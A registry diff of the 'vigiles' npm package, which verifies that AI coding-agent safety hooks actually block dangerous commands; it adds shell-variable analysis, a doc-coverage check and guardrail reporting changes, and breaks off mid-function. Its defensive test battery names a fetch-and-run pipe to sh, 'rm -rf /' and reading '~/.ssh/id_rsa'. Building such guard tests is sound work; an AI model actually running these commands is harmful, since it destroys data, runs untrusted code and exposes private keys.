vigiles 26.0.1 β†’ 26.2.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (51) hide show
  1. package/README.md +5 -4
  2. package/dist/adapters/claude-code/hook-condition.d.ts +46 -0
  3. package/dist/adapters/claude-code/hook-condition.js +142 -0
  4. package/dist/adapters/claude-code/hook-protocol.js +5 -0
  5. package/dist/audit-report.template.html +2 -2
  6. package/dist/cli.js +67 -115
  7. package/dist/core/bash-effects.d.ts +22 -0
  8. package/dist/core/bash-effects.js +10 -0
  9. package/dist/core/command-files.d.ts +107 -0
  10. package/dist/core/command-files.js +407 -0
  11. package/dist/core/hook-condition.d.ts +96 -0
  12. package/dist/core/hook-condition.js +63 -0
  13. package/dist/core/hook-matcher.d.ts +50 -0
  14. package/dist/core/hook-matcher.js +77 -2
  15. package/dist/core/hook-normalize.d.ts +51 -0
  16. package/dist/core/hook-normalize.js +61 -1
  17. package/dist/core/hook-program.d.ts +62 -1
  18. package/dist/core/hook-program.js +15 -1
  19. package/dist/core/hook-protocol.d.ts +16 -0
  20. package/dist/core/linters.js +97 -58
  21. package/dist/core/shell-vars.d.ts +74 -0
  22. package/dist/core/shell-vars.js +270 -0
  23. package/dist/core/skill-resources.d.ts +22 -1
  24. package/dist/core/skill-resources.js +2 -1
  25. package/dist/doc-test-script-coverage.d.ts +52 -0
  26. package/dist/doc-test-script-coverage.js +66 -0
  27. package/dist/guardrail-check.d.ts +29 -0
  28. package/dist/guardrail-check.js +69 -10
  29. package/dist/harness-assert.d.ts +8 -5
  30. package/dist/harness-assert.js +8 -5
  31. package/dist/harness-resolve-hooks.mjs +14 -37
  32. package/dist/hook-state-store.d.ts +143 -0
  33. package/dist/hook-state-store.js +241 -0
  34. package/dist/hook.d.ts +3 -1
  35. package/dist/hook.js +3 -1
  36. package/dist/run-hook.d.ts +33 -1
  37. package/dist/run-hook.js +46 -2
  38. package/dist/run-script.d.ts +94 -0
  39. package/dist/run-script.js +47 -26
  40. package/dist/scan-core.js +21 -3
  41. package/dist/score-core.d.ts +21 -1
  42. package/dist/score-core.js +30 -6
  43. package/dist/self-resolve.d.mts +20 -0
  44. package/dist/self-resolve.mjs +75 -0
  45. package/dist/spec-hooks.d.mts +10 -0
  46. package/dist/spec-hooks.mjs +17 -0
  47. package/dist/test.d.ts +5 -0
  48. package/dist/test.js +23 -2
  49. package/dist/verify-plugin-guards.d.ts +194 -0
  50. package/dist/verify-plugin-guards.js +822 -0
  51. package/package.json +1 -1
@@ -0,0 +1,270 @@
1
+ "use strict";
2
+ /**
3
+ * Which environment variables a shell command actually DEPENDS ON β€” the
4
+ * parser-backed answer to "would this command run the same program here?".
5
+ *
6
+ * πŸ”΄ WHY A PARSER AND NOT A REGEX, measured. The caller
7
+ * (`experimental_verifyPluginGuards`) refuses to run a hook whose command names
8
+ * a variable nothing has set, because running it would measure a different
9
+ * program than the harness runs. Deciding that with `/\$\{?NAME\}?/` gets two
10
+ * ordinary shapes wrong, in the direction that costs a measurement:
11
+ *
12
+ * | command | the shell | a raw regex |
13
+ * | -------------------------------- | -------------------- | ------------- |
14
+ * | `GUARD=hooks/g.sh; "$GUARD"` | sets it, then expands| "unset GUARD" |
15
+ * | `echo '$NOT_A_VAR'` | no expansion at all | "unset …" |
16
+ *
17
+ * Both are self-contained commands reported as unresolvable, so a real guard
18
+ * goes unmeasured for a reason that is not true of it. This is the
19
+ * `parse-structured-input-with-a-real-parser` rule applied to the same shell
20
+ * grammar `core/bash-effects.ts` already parses: an ASSIGNMENT and a SINGLE-
21
+ * QUOTED literal are nodes, so once the command is an AST the two mistakes above
22
+ * are not expressible.
23
+ *
24
+ * πŸ”΄ AND THE PARSER REMOVED TWO WAYS TO BE WRONG WHILE ADDING A THIRD, in the
25
+ * worse direction. Subtracting every assigned name GLOBALLY excused a read the
26
+ * assignment never reached, so the sweep ran a differently-configured program
27
+ * and gave it a score. Measured against `/bin/sh` with the name exported first:
28
+ *
29
+ * ```
30
+ * export X=ambient; echo "$X"; X=1 β†’ ambient (read comes FIRST)
31
+ * export FOO=ambient; FOO=1 sh -c "echo $FOO" β†’ ambient (prefix assign does
32
+ * not reach its own
33
+ * command's words)
34
+ * (G=inner); printf '[%s]' "$G" β†’ [] (subshell-scoped)
35
+ * G=dominates; printf '[%s]' "$G" β†’ dominates (this one persists)
36
+ * ```
37
+ *
38
+ * So the rule is DOMINANCE, not membership, and CONTROL FLOW, not source order:
39
+ * an assignment excuses a read only when it is an unconditional top-level
40
+ * statement (see {@link persistingAssigns}) AND sits before that read. A prefix,
41
+ * subshell, function-body, backgrounded, conditional or pipelined assignment
42
+ * excuses nothing at all. Where dominance is not provable, the read stands.
43
+ *
44
+ * It does NOT reach into `bash-effects.ts` for the parse: that module's `sh`
45
+ * handle and node types are private to it, and its types model EFFECTS
46
+ * (redirections, wrapper heads, flag tables) rather than expansions. The shared
47
+ * thing is the dependency, not the code β€” both `require("mvdan-sh")`.
48
+ *
49
+ * CONSERVATIVE, ON PURPOSE, IN ONE DIRECTION. Over-reporting a dependency costs
50
+ * a hook its measurement (the caller says so and names the variable);
51
+ * under-reporting one lets a differently-configured program be measured and
52
+ * scored. So where the parser cannot decide, this reports MORE:
53
+ *
54
+ * - a parse failure falls back to the regex scan and says `parsed: false`;
55
+ * - `${FOO:-default}` and `${FOO:?msg}` count as reads even though the first
56
+ * always resolves β€” reading the expansion operator is a further step, and its
57
+ * only effect would be to measure more hooks;
58
+ * - a `for f in …` loop variable is a read (nothing binds it in the AST the way
59
+ * an `Assign` does).
60
+ *
61
+ * `$1` / `$@` / `$?` are never reads: they are positional and special
62
+ * parameters, not environment the caller could set.
63
+ */
64
+ Object.defineProperty(exports, "__esModule", { value: true });
65
+ exports.shellVarReads = shellVarReads;
66
+ // mvdan-sh is a CJS package (GopherJS build) with no bundled TypeScript types β€”
67
+ // the same require() `core/bash-effects.ts` uses, for the same parser.
68
+ const _sh = require("mvdan-sh");
69
+ const sh = _sh;
70
+ /** A `$NAME` / `${NAME}` reference β€” not `$(…)`, `$1` or `$@`. */
71
+ const VAR_REF = /\$\{?([A-Za-z_][A-Za-z0-9_]*)\}?/g;
72
+ /** An environment-variable name: what a caller could put in `env`. */
73
+ const VAR_NAME = /^[A-Za-z_][A-Za-z0-9_]*$/;
74
+ /** The fallback for a command the shell parser rejects: every `$NAME` in it. */
75
+ function scanRefs(command) {
76
+ const names = new Set();
77
+ for (const [, name] of command.matchAll(VAR_REF))
78
+ names.add(name);
79
+ return [...names];
80
+ }
81
+ /**
82
+ * The environment variables `command` expands and does not set for itself.
83
+ *
84
+ * @param command - the shell command, exactly as the hook registers it.
85
+ */
86
+ /** A node's byte offset in the source, or `null` when the binding withholds it. */
87
+ function offsetOf(node) {
88
+ try {
89
+ return node.Pos().Offset();
90
+ }
91
+ catch {
92
+ return null;
93
+ }
94
+ }
95
+ /**
96
+ * Where an assignment's effect BEGINS β€” one byte past its last, not at its first.
97
+ *
98
+ * πŸ”΄ THE WHOLE OF THE SELF-REFERENTIAL BUG. The shell expands an assignment's
99
+ * RHS and only THEN binds the name, so `MODE="$MODE"` reads the environment and
100
+ * a read inside an initializer can never be dominated by the assignment
101
+ * containing it. Keyed on the assignment's START, it was: the walk is preorder,
102
+ * so the `Assign` node was recorded before its own `ParamExp` was visited, the
103
+ * assignment's offset was the smaller one, and the genuine ambient read
104
+ * disappeared. `MODE="$MODE"; [ "$MODE" = strict ] && exit 2` therefore reported
105
+ * NO dependency β€” so under confinement the sweep cleared `MODE` without saying
106
+ * so and scored whichever branch the empty value took.
107
+ *
108
+ * Keyed on the END, the containment falls out of the arithmetic rather than
109
+ * needing a special case: a read inside the initializer has a smaller offset
110
+ * than the assignment's end, so it stands; a read after the statement has a
111
+ * larger one, so it is excused. Both directions are pinned in the tests.
112
+ */
113
+ function endOfOrNull(node) {
114
+ try {
115
+ return node.End().Offset();
116
+ }
117
+ catch {
118
+ return null;
119
+ }
120
+ }
121
+ /**
122
+ * Declaring keywords whose assignment persists into the rest of the SCRIPT.
123
+ *
124
+ * `local` is deliberately absent: it is meaningful only inside a function, and
125
+ * a function body is precisely the scope this walker never treats as reached.
126
+ */
127
+ const PERSISTING_DECLARATIONS = new Set([
128
+ "export",
129
+ "readonly",
130
+ "declare",
131
+ "typeset",
132
+ ]);
133
+ /**
134
+ * Offsets of the assignments that excuse a later read β€” and it is an ALLOWLIST,
135
+ * which is the whole of the fix. Two shapes are recognized, both TOP-LEVEL
136
+ * statements of the script and neither detached with `&`: a bare `NAME=value`,
137
+ * and a {@link PERSISTING_DECLARATIONS} keyword (`export NAME=value`), which the
138
+ * parser models as a different node for the same persisting statement.
139
+ *
140
+ * πŸ”΄ SOURCE ORDER IS NOT CONTROL FLOW, and reading it as such was a third way to
141
+ * measure a differently-configured program. The earlier version marked the
142
+ * assignments it could prove do not PERSIST (subshell, function body, command
143
+ * prefix) and excused every other one that merely appeared earlier in the text β€”
144
+ * so an assignment the shell may never execute silently excused the read it
145
+ * sits before. Measured against `/bin/sh` with the name exported first:
146
+ *
147
+ * ```
148
+ * MODE=safe; [ "$MODE" = safe ] β†’ runs, and excuses the read
149
+ * false && MODE=safe; [ "$MODE" = safe ] β†’ the AMBIENT value is read
150
+ * if false; then MODE=safe; fi; [ "$MODE" = x ] β†’ the AMBIENT value is read
151
+ * MODE=safe & [ "$MODE" = safe ] β†’ detached: never reaches it
152
+ * true | MODE=safe; [ "$MODE" = safe ] β†’ pipeline subshell, discarded
153
+ * ```
154
+ *
155
+ * Four of those five excused the read under the old rule while the real shell
156
+ * went on reading the environment. Under confinement the sweep clears that
157
+ * environment, so it would have run the `MODE`-unset arm of a guard and scored
158
+ * whatever that arm happens to do.
159
+ *
160
+ * An allowlist rather than a longer denylist because the denylist can only ever
161
+ * be as complete as the grammar we remembered: `Subshell` and `FuncDecl` were on
162
+ * it, `BinaryCmd`, `IfClause`, `WhileClause`, `ForClause`, `CaseClause`, `Block`
163
+ * and a backgrounded `Stmt` were not, and the next construct would not be
164
+ * either. Inverting it makes the unlisted case default to "excuses nothing",
165
+ * which is the direction this module already errs in (see the header): an
166
+ * assignment we cannot place costs a measurement, never a false score.
167
+ *
168
+ * The cost is named rather than hidden: `{ MODE=safe; }; echo "$MODE"` does run
169
+ * unconditionally in this shell and is no longer excused. A brace group at the
170
+ * top of a hook command is rare, and reporting `MODE` as a dependency there ends
171
+ * in `unresolved` with the name printed β€” the safe error.
172
+ */
173
+ function persistingAssigns(file) {
174
+ // start offset β†’ the offset its binding takes effect at (see endOfOrNull).
175
+ const unconditional = new Map();
176
+ const take = (node) => {
177
+ const at = offsetOf(node);
178
+ const effective = endOfOrNull(node);
179
+ // A binding whose extent the parser withheld cannot be shown to dominate
180
+ // anything, so it is not recorded and every read of the name stands.
181
+ if (at !== null && effective !== null)
182
+ unconditional.set(at, effective);
183
+ };
184
+ for (const stmt of file.Stmts ?? []) {
185
+ // `&` detaches into a subshell, so the assignment never reaches this one.
186
+ if (stmt.Background === true)
187
+ continue;
188
+ const cmd = stmt.Cmd;
189
+ if (!cmd)
190
+ continue;
191
+ const kind = sh.syntax.NodeType(cmd);
192
+ // `export NAME=value` is a DeclClause, not a CallExpr β€” a separate node for
193
+ // the same persisting, unconditional statement. Its `Args` ARE the `Assign`
194
+ // nodes, so walking it reaches exactly them.
195
+ if (kind === "DeclClause") {
196
+ if (!PERSISTING_DECLARATIONS.has(cmd.Variant?.Value ?? ""))
197
+ continue;
198
+ sh.syntax.Walk(cmd, (node) => {
199
+ if (node && sh.syntax.NodeType(node) === "Assign")
200
+ take(node);
201
+ return true;
202
+ });
203
+ continue;
204
+ }
205
+ if (kind !== "CallExpr")
206
+ continue;
207
+ // A `CallExpr` with WORDS carries prefix assignments (`FOO=1 cmd`), which do
208
+ // not outlive their own command; one with no words IS the assignment
209
+ // statement (`FOO=1`), which persists into the rest of the script.
210
+ if ((cmd.Args?.length ?? 0) > 0)
211
+ continue;
212
+ for (const assign of cmd.Assigns ?? [])
213
+ take(assign);
214
+ }
215
+ return unconditional;
216
+ }
217
+ function shellVarReads(command) {
218
+ let file;
219
+ try {
220
+ file = sh.syntax.NewParser().Parse(command, "hook.sh");
221
+ }
222
+ catch {
223
+ return { reads: scanRefs(command), parsed: false };
224
+ }
225
+ const unconditional = persistingAssigns(file);
226
+ const assignedAt = new Map();
227
+ const reads = [];
228
+ const seen = new Set();
229
+ sh.syntax.Walk(file, (node) => {
230
+ if (!node)
231
+ return true;
232
+ const kind = sh.syntax.NodeType(node);
233
+ const at = offsetOf(node);
234
+ if (kind === "Assign") {
235
+ const name = node.Name?.Value;
236
+ // The FIRST unconditional assignment is the only one that can dominate
237
+ // a read; a later one cannot reach backwards. What is stored is where the
238
+ // binding TAKES EFFECT (the assignment's end), not where it is written β€”
239
+ // see {@link endOfOrNull}.
240
+ const effective = at === null ? undefined : unconditional.get(at);
241
+ if (name !== undefined && name !== "" && effective !== undefined)
242
+ if (!assignedAt.has(name))
243
+ assignedAt.set(name, effective);
244
+ }
245
+ else if (kind === "ParamExp") {
246
+ const name = node.Param?.Value;
247
+ if (name !== undefined && VAR_NAME.test(name) && !seen.has(name)) {
248
+ // πŸ”΄ DOMINANCE, NOT MEMBERSHIP, AND CONTROL FLOW, NOT SOURCE ORDER.
249
+ // Subtracting every assigned name globally excused `echo "$GUARD";
250
+ // GUARD=hooks/g.sh` β€” where the expansion runs FIRST and really does
251
+ // read the environment. Counting an earlier OFFSET as dominance excused
252
+ // `false && MODE=safe; [ "$MODE" = safe ]`, which the shell also reads
253
+ // from the environment. Both let a differently-configured program be
254
+ // measured and scored, so an assignment excuses a read only when
255
+ // {@link persistingAssigns} proved it runs, and runs first β€” where
256
+ // "first" means it has FINISHED, because `MODE="$MODE"` expands its RHS
257
+ // before it binds the name (see {@link endOfOrNull}).
258
+ const assigned = assignedAt.get(name);
259
+ // `at === null` means the binding withheld the position: excuse nothing.
260
+ if (assigned === undefined || at === null || assigned > at) {
261
+ seen.add(name);
262
+ reads.push(name);
263
+ }
264
+ }
265
+ }
266
+ return true;
267
+ });
268
+ return { reads, parsed: true };
269
+ }
270
+ //# sourceMappingURL=shell-vars.js.map
@@ -8,7 +8,12 @@ export interface SkillResourceFinding {
8
8
  readonly resolved: string;
9
9
  /** Whether the ref came from a markdown link `[..](..)` or an inline/path mention. */
10
10
  readonly kind: SkillResourceKind;
11
- /** 1-based source line of the reference in the body. */
11
+ /**
12
+ * 1-based line of the reference in the SKILL.md FILE β€” not in the body string
13
+ * the detector was handed. The caller strips frontmatter before calling, so a
14
+ * body-relative number is short by exactly that block and points the author at
15
+ * the wrong line (#206); `lineOffset` is what closes the gap.
16
+ */
12
17
  readonly line: number;
13
18
  }
14
19
  export interface SkillResourceOptions {
@@ -30,6 +35,22 @@ export interface SkillResourceOptions {
30
35
  * The controlled fix for feedback P1-4 (opt-in, never a default behavior change).
31
36
  */
32
37
  readonly sharedDirs?: readonly string[];
38
+ /**
39
+ * How many lines the caller stripped off the FRONT of the file before handing
40
+ * over `skillBody` β€” added to every finding's `line` so the coordinate names a
41
+ * line of the real SKILL.md.
42
+ *
43
+ * πŸ”΄ Not cosmetic, and not the caller's to patch afterwards. `markdownRefs`
44
+ * counts from one over whatever string it gets, so a detector fed a
45
+ * frontmatter-stripped body emits coordinates short by exactly that block β€”
46
+ * measured on a 5-line frontmatter: the ref on file line 11 printed as 6
47
+ * (#206). An author who opens the printed line finds something else and either
48
+ * calls the finding false or edits the wrong line. Taking the offset as INPUT
49
+ * keeps the number right where it is produced, instead of relying on every
50
+ * consumer to remember; same shape as `doc-refs.ts`'s `firstLine + line`.
51
+ * Defaults to 0 β€” a caller passing a whole file needs nothing.
52
+ */
53
+ readonly lineOffset?: number;
33
54
  }
34
55
  /**
35
56
  * The bundled-resource references in a SKILL.md body that don't resolve on disk
@@ -319,6 +319,7 @@ function skillResourceIssues(skillBody, skillDir, opts) {
319
319
  if (DISABLE_RE.test(skillBody))
320
320
  return [];
321
321
  const exists = opts.existsSync;
322
+ const lineOffset = opts.lineOffset ?? 0;
322
323
  const sharedDirs = new Set(opts.sharedDirs ?? []);
323
324
  // A ref resolves if it exists under the skill's own dir. If (and only if) its
324
325
  // first segment is a DECLARED shared dir, it may also resolve against the repo
@@ -349,7 +350,7 @@ function skillResourceIssues(skillBody, skillDir, opts) {
349
350
  ref: c.ref,
350
351
  resolved: c.resolved,
351
352
  kind: c.kind,
352
- line: c.line,
353
+ line: c.line + lineOffset,
353
354
  });
354
355
  }
355
356
  return findings;
@@ -0,0 +1,52 @@
1
+ /**
2
+ * Doc-test-script coverage β€” the SIBLING of `doc-command-coverage.ts`, aimed at
3
+ * the other reader. That one checks code→docs for the CLI's public VERBS (does
4
+ * every verb a USER can type have a doc home under `docs/`?). This one checks
5
+ * the same direction for this repo's own `test:*` npm scripts: does every tier a
6
+ * CONTRIBUTOR can run appear on the tier map in `CONTRIBUTING.md`?
7
+ *
8
+ * WHY IT IS A CHECK AND NOT A NOTE, measured 2026-09-07. `CONTRIBUTING.md`'s
9
+ * `### Test` section described ONE tier β€” `npm test` under vitest β€” while
10
+ * `package.json` shipped nine `test:*` scripts and CI ran four jobs across them.
11
+ * A contributor reading the only map this repo has could not learn that
12
+ * `npm run test:harness` exists, let alone that it is the tier three agents
13
+ * skipped in a single day while reporting the gates green. A hand-written map
14
+ * goes stale the moment a script is added and nothing notices β€” the same failure
15
+ * the verb list already has a check for, one directory over.
16
+ *
17
+ * HIGH-PRECISION, biased AGAINST crying wolf, for the sibling's reason: a false
18
+ * "undocumented" alarm on a tier that IS on the map costs the build, while a
19
+ * miss costs one row. So a mention is matched GENEROUSLY β€” the script name
20
+ * anywhere in the prose counts, because a name like `test:harness` cannot
21
+ * collide with an English word the way `test` and `audit` do. The only thing the
22
+ * lookarounds buy is that a LONGER script name is never read as a shorter one
23
+ * (`test:cli-e2e` does not document `test:e2e`).
24
+ *
25
+ * Scope is the `test:` PREFIX, deliberately. Bare `npm test` is the vitest
26
+ * suite, named in the map as prose; every other script (`build`, `lint`,
27
+ * `check`, …) is a gate, and gates are covered by `npm run check` printing its
28
+ * own list rather than by a doc that would restate it.
29
+ */
30
+ /** The prefix that makes an npm script a test TIER rather than a gate. */
31
+ export declare const TEST_SCRIPT_PREFIX = "test:";
32
+ /**
33
+ * The `test:*` script names in a `package.json` `scripts` object, sorted so the
34
+ * caller's report is stable.
35
+ */
36
+ export declare function testTierScripts(scripts: Readonly<Record<string, string>>): string[];
37
+ /**
38
+ * Whether `script` is named anywhere in `content`. Generous on purpose (see the
39
+ * file header); the lookarounds only stop a longer script name from counting as
40
+ * a shorter one.
41
+ */
42
+ export declare function scriptMentioned(script: string, content: string): boolean;
43
+ /**
44
+ * Find `test:*` scripts not named in any of the given doc files. Pure β€” the
45
+ * caller supplies both the scripts and the file contents, so it runs over this
46
+ * repo in a test or over any other file set.
47
+ */
48
+ export declare function findUndocumentedTestScripts(docs: readonly {
49
+ readonly path: string;
50
+ readonly content: string;
51
+ }[], scripts: Readonly<Record<string, string>>): string[];
52
+ //# sourceMappingURL=doc-test-script-coverage.d.ts.map
@@ -0,0 +1,66 @@
1
+ "use strict";
2
+ /**
3
+ * Doc-test-script coverage β€” the SIBLING of `doc-command-coverage.ts`, aimed at
4
+ * the other reader. That one checks code→docs for the CLI's public VERBS (does
5
+ * every verb a USER can type have a doc home under `docs/`?). This one checks
6
+ * the same direction for this repo's own `test:*` npm scripts: does every tier a
7
+ * CONTRIBUTOR can run appear on the tier map in `CONTRIBUTING.md`?
8
+ *
9
+ * WHY IT IS A CHECK AND NOT A NOTE, measured 2026-09-07. `CONTRIBUTING.md`'s
10
+ * `### Test` section described ONE tier β€” `npm test` under vitest β€” while
11
+ * `package.json` shipped nine `test:*` scripts and CI ran four jobs across them.
12
+ * A contributor reading the only map this repo has could not learn that
13
+ * `npm run test:harness` exists, let alone that it is the tier three agents
14
+ * skipped in a single day while reporting the gates green. A hand-written map
15
+ * goes stale the moment a script is added and nothing notices β€” the same failure
16
+ * the verb list already has a check for, one directory over.
17
+ *
18
+ * HIGH-PRECISION, biased AGAINST crying wolf, for the sibling's reason: a false
19
+ * "undocumented" alarm on a tier that IS on the map costs the build, while a
20
+ * miss costs one row. So a mention is matched GENEROUSLY β€” the script name
21
+ * anywhere in the prose counts, because a name like `test:harness` cannot
22
+ * collide with an English word the way `test` and `audit` do. The only thing the
23
+ * lookarounds buy is that a LONGER script name is never read as a shorter one
24
+ * (`test:cli-e2e` does not document `test:e2e`).
25
+ *
26
+ * Scope is the `test:` PREFIX, deliberately. Bare `npm test` is the vitest
27
+ * suite, named in the map as prose; every other script (`build`, `lint`,
28
+ * `check`, …) is a gate, and gates are covered by `npm run check` printing its
29
+ * own list rather than by a doc that would restate it.
30
+ */
31
+ Object.defineProperty(exports, "__esModule", { value: true });
32
+ exports.TEST_SCRIPT_PREFIX = void 0;
33
+ exports.testTierScripts = testTierScripts;
34
+ exports.scriptMentioned = scriptMentioned;
35
+ exports.findUndocumentedTestScripts = findUndocumentedTestScripts;
36
+ /** The prefix that makes an npm script a test TIER rather than a gate. */
37
+ exports.TEST_SCRIPT_PREFIX = "test:";
38
+ /**
39
+ * The `test:*` script names in a `package.json` `scripts` object, sorted so the
40
+ * caller's report is stable.
41
+ */
42
+ function testTierScripts(scripts) {
43
+ return Object.keys(scripts)
44
+ .filter((name) => name.startsWith(exports.TEST_SCRIPT_PREFIX))
45
+ .sort();
46
+ }
47
+ function escapeRegExp(s) {
48
+ return s.replace(/[.*+?^${}()|[\]\\]/g, "\\$&");
49
+ }
50
+ /**
51
+ * Whether `script` is named anywhere in `content`. Generous on purpose (see the
52
+ * file header); the lookarounds only stop a longer script name from counting as
53
+ * a shorter one.
54
+ */
55
+ function scriptMentioned(script, content) {
56
+ return new RegExp(String.raw `(?<![\w:.-])${escapeRegExp(script)}(?![\w:.-])`).test(content);
57
+ }
58
+ /**
59
+ * Find `test:*` scripts not named in any of the given doc files. Pure β€” the
60
+ * caller supplies both the scripts and the file contents, so it runs over this
61
+ * repo in a test or over any other file set.
62
+ */
63
+ function findUndocumentedTestScripts(docs, scripts) {
64
+ return testTierScripts(scripts).filter((name) => !docs.some((d) => scriptMentioned(name, d.content)));
65
+ }
66
+ //# sourceMappingURL=doc-test-script-coverage.js.map
@@ -28,6 +28,20 @@ export interface GuardrailResult {
28
28
  readonly blocked: boolean;
29
29
  /** The hook process exit code (1 β‰  block β€” the classic false-confidence bug). */
30
30
  readonly exitCode: number;
31
+ /**
32
+ * Whether the hook was RUN for this event at all β€” false when its declared
33
+ * condition ({@link VerifyGuardrailOptions.condition}) does not match, so the
34
+ * harness would never spawn it here.
35
+ *
36
+ * πŸ”΄ A NOT-RUN EVENT IS A MISS, and separating it out is the point. Before this
37
+ * existed the battery could only ask "did it block?", so a real guard whose body
38
+ * is an unconditional deny but whose `if` only fires on a force push scored
39
+ * 7/7 β€” certified as stopping `rm -rf /` and `cat ~/.ssh/id_rsa`. It still
40
+ * counts as unblocked; what changed is that the report can now say WHY.
41
+ */
42
+ readonly ran: boolean;
43
+ /** Why the hook ran or did not β€” the condition verdict, always present. */
44
+ readonly reason: string;
31
45
  }
32
46
  export interface VerifyGuardrailOptions extends RunHookOptions {
33
47
  /** Restrict the battery to these categories (default: the whole catalog). */
@@ -95,6 +109,21 @@ export declare function unblockedDisasters(results: readonly GuardrailResult[]):
95
109
  * build instead of failing in production.
96
110
  */
97
111
  export declare function assertBlocksDisasters(hookCommand: string, opts?: VerifyGuardrailOptions): void;
112
+ /**
113
+ * One battery event as a report line, WITHOUT leading indentation so each caller
114
+ * nests it where its own layout needs.
115
+ *
116
+ * THREE outcomes, not two. "never run" is not a weaker "allows": the harness
117
+ * would not invoke this hook for that call at all, so the guard has no opinion
118
+ * to report. Printing it as `allows` is what made a conditional guard look like
119
+ * it had considered β€” and permitted β€” commands it can never see.
120
+ *
121
+ * @internal Shared by {@link formatGuardrailReport} and the directory-level
122
+ * sweep's formatter (`experimental_formatPluginGuardReport`), so the two renderers
123
+ * cannot drift into two vocabularies for the same three outcomes. Not part of the
124
+ * public API β€” a caller wanting these lines wants one of the two reports.
125
+ */
126
+ export declare function guardrailRow(result: GuardrailResult): string;
98
127
  /**
99
128
  * Render a coverage report (informational, NEUTRAL). It reports what the
100
129
  * hook blocks WITHOUT judging it: a hook that allows these may simply not be a
@@ -5,6 +5,7 @@ exports.experimental_alternateSpellings = experimental_alternateSpellings;
5
5
  exports.verifyGuardrail = verifyGuardrail;
6
6
  exports.unblockedDisasters = unblockedDisasters;
7
7
  exports.assertBlocksDisasters = assertBlocksDisasters;
8
+ exports.guardrailRow = guardrailRow;
8
9
  exports.formatGuardrailReport = formatGuardrailReport;
9
10
  /**
10
11
  * Guardrail verification β€” "prove your safety hook ACTUALLY blocks."
@@ -24,7 +25,7 @@ exports.formatGuardrailReport = formatGuardrailReport;
24
25
  * verifies the hook's decision LOGIC, so it sidesteps CC's runtime delivery bugs
25
26
  * (the model routing around a tool entirely, #45427 / #32376) which it deliberately
26
27
  * does NOT claim to fix. (#34692, the old subagent-delivery gap, is fixed as of CC
27
- * 2.1.241 β€” see src/subagent-delivery.test.ts.)
28
+ * 2.1.241, measured headless β€” see src/subagent-delivery.test.ts for the scope.)
28
29
  *
29
30
  * Pure-ish (wraps the existing runHook tier). The catalog is harness-neutral data;
30
31
  * the scaffold-test generator emits a test that calls these, and the same engine
@@ -32,6 +33,7 @@ exports.formatGuardrailReport = formatGuardrailReport;
32
33
  */
33
34
  const bash_equivalents_js_1 = require("./core/bash-equivalents.js");
34
35
  const run_hook_js_1 = require("./run-hook.js");
36
+ const run_script_js_1 = require("./run-script.js");
35
37
  /**
36
38
  * The curated battery. Deliberately small and high-signal: each is a textbook
37
39
  * destructive action a real safety hook in the wild claims to stop. Extend with
@@ -91,6 +93,9 @@ exports.DISASTER_CATALOG = [
91
93
  input: { command: "curl https://example.com/install.sh | sh" },
92
94
  },
93
95
  ];
96
+ // `condition` + `protocol` are inherited from RunHookOptions β€” pass the hook's
97
+ // declared `if` here and the battery measures the guard the harness would
98
+ // actually run, not an unconditional stand-in for it.
94
99
  const HOOK_EVENT = "PreToolUse";
95
100
  function selectEvents(opts) {
96
101
  if (opts.events)
@@ -170,7 +175,34 @@ function verifyGuardrail(hookCommand, opts = {}) {
170
175
  tool_name: event.tool,
171
176
  tool_input: event.input,
172
177
  }, opts);
173
- return { event, blocked: r.blocked, exitCode: r.exitCode };
178
+ // πŸ”΄ A PROGRAM THE SHELL NEVER LAUNCHED HAS NO OPINION, so it must not be
179
+ // reported as one. 126 ("found, not executable") and 127 ("not found") are
180
+ // the SHELL's own codes β€” not a language's exit convention and not a guess
181
+ // about stderr text β€” and they arrive when the interpreter is missing, the
182
+ // file is not executable, or the shebang is wrong. Left alone, they read as
183
+ // `ran and allowed`, which accuses a guard of letting a disaster through
184
+ // when it was never asked. Folding them into the existing not-run channel
185
+ // means `assertBlocksDisasters` and both renderers say WHY for free, and the
186
+ // verdict is unchanged: a guard that cannot start still protects nothing.
187
+ //
188
+ // ⚠️ ONLY WHEN NOTHING BLOCKED. `echo '{"…deny…}'; ./missing` exits 127 with
189
+ // a real deny on stdout; reclassifying that would hide a decision the hook
190
+ // genuinely made. The exit code loses to the decision, never the reverse.
191
+ if (!r.blocked && r.ran && (0, run_script_js_1.shellNeverLaunched)(r.exitCode))
192
+ return {
193
+ event,
194
+ blocked: false,
195
+ exitCode: r.exitCode,
196
+ ran: false,
197
+ reason: `the shell never launched this hook (exit ${String(r.exitCode)}: ${r.exitCode === 127 ? "command not found" : "not executable"}) β€” nothing here is the guard's decision`,
198
+ };
199
+ return {
200
+ event,
201
+ blocked: r.blocked,
202
+ exitCode: r.exitCode,
203
+ ran: r.ran,
204
+ reason: r.conditionReason,
205
+ };
174
206
  });
175
207
  }
176
208
  /** Did the hook miss any event it was given? (the false-confidence signal). */
@@ -186,9 +218,33 @@ function assertBlocksDisasters(hookCommand, opts = {}) {
186
218
  const misses = unblockedDisasters(verifyGuardrail(hookCommand, opts));
187
219
  if (misses.length === 0)
188
220
  return;
189
- const lines = misses.map((m) => ` βœ— ${m.event.label} (exit ${m.exitCode})`);
221
+ // A never-run event names the CONDITION rather than an exit code: "exit 0" on a
222
+ // hook that was never spawned reads as "the guard looked and allowed it", which
223
+ // is exactly the confusion this whole change removes.
224
+ const lines = misses.map((m) => m.ran
225
+ ? ` βœ— ${m.event.label} (exit ${m.exitCode})`
226
+ : ` ⊘ ${m.event.label} β€” NOT RUN: ${m.reason}`);
190
227
  throw new Error(`Guardrail \`${hookCommand}\` did NOT block ${misses.length} dangerous action(s):\n${lines.join("\n")}\nA hook that doesn't block these is false confidence β€” fix it (PreToolUse + exit 2).`);
191
228
  }
229
+ /**
230
+ * One battery event as a report line, WITHOUT leading indentation so each caller
231
+ * nests it where its own layout needs.
232
+ *
233
+ * THREE outcomes, not two. "never run" is not a weaker "allows": the harness
234
+ * would not invoke this hook for that call at all, so the guard has no opinion
235
+ * to report. Printing it as `allows` is what made a conditional guard look like
236
+ * it had considered β€” and permitted β€” commands it can never see.
237
+ *
238
+ * @internal Shared by {@link formatGuardrailReport} and the directory-level
239
+ * sweep's formatter (`experimental_formatPluginGuardReport`), so the two renderers
240
+ * cannot drift into two vocabularies for the same three outcomes. Not part of the
241
+ * public API β€” a caller wanting these lines wants one of the two reports.
242
+ */
243
+ function guardrailRow(result) {
244
+ if (!result.ran)
245
+ return `⊘ not run ${result.event.label} β€” ${result.reason}`;
246
